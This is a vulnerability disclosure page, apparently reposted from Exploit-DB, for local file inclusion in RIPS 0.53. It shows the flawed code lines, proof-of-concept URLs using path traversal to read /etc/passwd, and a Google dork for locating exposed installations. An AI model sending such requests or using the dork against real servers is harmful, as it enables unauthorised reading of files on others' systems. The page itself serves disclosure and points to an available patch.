RIPS - exploit.company

vendor:

RIPS

by:

Mattdch

7,5

CVSS

HIGH

Local File Inclusion

CWE

Product Name: RIPS

Affected Version From: 0.53

Affected Version To: 0.53

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2012

RIPS <= 0.53 Multiple Local File Inclusion Vulnerabilities

Multiple Local File Inclusion vulnerabilities were discovered in RIPS <= 0.53. An attacker can exploit these vulnerabilities by sending a crafted HTTP request with a malicious file path to the vulnerable server. This will allow the attacker to read the contents of any file on the server.

Mitigation:

Upgrade to the latest version of RIPS or apply the patch provided by the vendor.

Source

Exploit-DB raw data:

# RIPS <= 0.53 Multiple Local File Inclusion Vulnerabilities
# Google Dork: allintitle: "RIPS - A static source code analyser for
vulnerabilities in PHP scripts"
# Althout this script is not intended to be accesible from internet, there
are some websites that host it.
# Download: http://sourceforge.net/projects/rips-scanner/
# Date: 23/03/12
# Contact: mattdch0@gmail.com
# Follow: @mattdch
# www.localh0t.com.ar


File: /windows/code.php
=======================

102: file $lines = file($file);
    96: $file = $_GET['file'];

PoC:
http://localhost/rips/windows/code.php?file=../../../../../../etc/passwd

File: /windows/function.php
===========================

    64: file $lines = file($file);
        58: $file = $_GET['file'];

PoC:
http://localhost/rips/windows/function.php?file=../../../../../../etc/passwd(will
read the first line of the file)